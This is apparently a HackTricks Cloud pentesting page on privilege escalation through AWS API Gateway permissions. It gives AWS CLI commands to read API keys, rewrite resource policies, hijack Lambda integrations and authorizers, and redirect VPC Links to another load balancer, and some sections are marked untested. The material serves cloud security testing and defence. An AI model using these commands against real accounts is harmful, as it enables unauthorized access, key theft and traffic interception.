Files
hacktricks-cloud/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
2024-12-12 19:35:48 +01:00

6.8 KiB

AWS - Apigateway Privesc

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Apigateway

For more information check:

{% content-ref url="../aws-services/aws-api-gateway-enum.md" %} aws-api-gateway-enum.md {% endcontent-ref %}

apigateway:POST

With this permission you can generate API keys of the APIs configured (per region).

aws --region <region> apigateway create-api-key

Potential Impact: You cannot privesc with this technique but you might get access to sensitive info.

apigateway:GET

With this permission you can get generated API keys of the APIs configured (per region).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potential Impact: You cannot privesc with this technique but you might get access to sensitive info.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda).

{% code overflow="wrap" %}

aws apigateway update-rest-api \
    --rest-api-id api-id \
    --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

{% endcode %}

Potential Impact: You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

{% hint style="info" %} Need testing {% endhint %}

An attacker with the permissions apigateway:PutIntegration, apigateway:CreateDeployment, and iam:PassRole can add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached. The attacker can then trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role.

{% code overflow="wrap" %}

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

{% endcode %}

Potential Impact: Access to resources associated with the Lambda function's IAM role.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

{% hint style="info" %} Need testing {% endhint %}

An attacker with the permissions apigateway:UpdateAuthorizer and apigateway:CreateDeployment can modify an existing API Gateway authorizer to bypass security checks or to execute arbitrary code when API requests are made.

{% code overflow="wrap" %}

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

{% endcode %}

Potential Impact: Bypassing security checks, unauthorized access to API resources.

{% hint style="info" %} Need testing {% endhint %}

An attacker with the permission apigateway:UpdateVpcLink can modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potential Impact: Unauthorized access to private API resources, interception or disruption of API traffic.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}